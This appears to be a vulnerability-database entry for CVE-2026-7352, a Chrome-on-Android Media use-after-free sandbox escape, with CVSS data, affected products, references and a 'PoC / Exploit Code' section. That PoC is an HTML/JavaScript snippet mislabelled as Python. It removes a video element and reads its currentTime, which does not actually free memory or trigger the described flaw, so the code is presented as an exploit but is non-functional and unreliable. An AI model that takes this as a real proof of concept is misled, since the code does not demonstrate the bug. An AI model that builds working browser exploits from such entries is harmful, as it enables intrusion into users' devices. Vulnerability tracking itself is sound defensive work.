CVE-2026-7352

Description

Use after free in Media in Google Chrome on Android prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 147.0.7727.138

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC Concept for CVE-2026-7352
This is a conceptual demonstration of triggering a Use-After-Free in Media component.
Real exploitation requires specific heap grooming and ROP chains.
-->
<!DOCTYPE html>
<html>
<body>
<script>
    // Create a media element
    var video = document.createElement('video');
    video.src = "sample.mp4";
    document.body.appendChild(video);

    function triggerVulnerability() {
        // Step 1: Interact with the media element to establish state
        video.play();
        video.pause();

        // Step 2: Remove the element, expecting memory to be freed (or queued for freeing)
        // In a real scenario, specific timing and GC triggers are needed.
        document.body.removeChild(video);
        
        // Step 3: Attempt to access the freed object or trigger a callback
        // This simulates the Use-After-Free condition.
        setTimeout(() => {
            try {
                // Accessing properties of the potentially freed object
                let time = video.currentTime; 
                console.log("Object accessed, potential UAF triggered.");
            } catch (e) {
                console.log("Access failed or crashed.");
            }
        }, 100);
    }

    // Execute
    triggerVulnerability();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7352
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7352
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7352/
[4] VulDB https://vuldb.com/cve/CVE-2026-7352
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/499023054

Raw JSON Data

JSON

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